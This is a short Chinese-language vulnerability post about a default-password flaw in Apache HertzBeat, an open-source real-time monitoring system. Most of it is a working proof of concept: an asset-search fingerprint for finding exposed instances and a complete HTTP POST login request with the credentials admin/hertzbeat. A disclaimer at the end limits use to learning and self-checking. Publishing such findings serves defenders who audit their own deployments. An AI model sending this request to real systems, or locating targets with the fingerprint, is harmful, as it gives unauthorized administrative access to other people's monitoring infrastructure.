【漏洞复现】|Apache-HertzBeat开源实时监控系统存在默认口令

漏洞描述

HertzBeat(赫兹跳动) 是一个开源实时监控系统，无需Agent，性能集群，兼容Prometheus，自定义监控和状态页构建能力。HertzBeat 的强大自定义，多类型支持，高性能，易扩展，希望能帮助用户快速构建自有监控系统。具有无代理、性能集群、兼容 prometheus、自定义监控和状态页面构建功能。HertzBeat(赫兹跳动) 开源实时监控系统存在默认口令漏洞。

资产概要  

app="HertzBeat-实时监控系统"

漏洞复现  

POST /api/account/auth/form HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json
Content-Length: 56

{"type":0,"identifier":"admin","credential":"hertzbeat"}

默认账号密码 admin/hertzbeat

免责声明  

本文分享的漏洞POC及相关技术仅限学习和自查用途，请勿用于非法测试或其他不当行为。传播或利用本文及相关工具所导致的任何直接或间接后果，包括法律责任和不良影响，均由使用者自行承担，文章作者概不负责。如内容涉及侵权问题，请及时联系，作者将迅速处理并致以歉意。此外，工具来源于网络，安全性需用户自行验证。感谢您的理解与支持！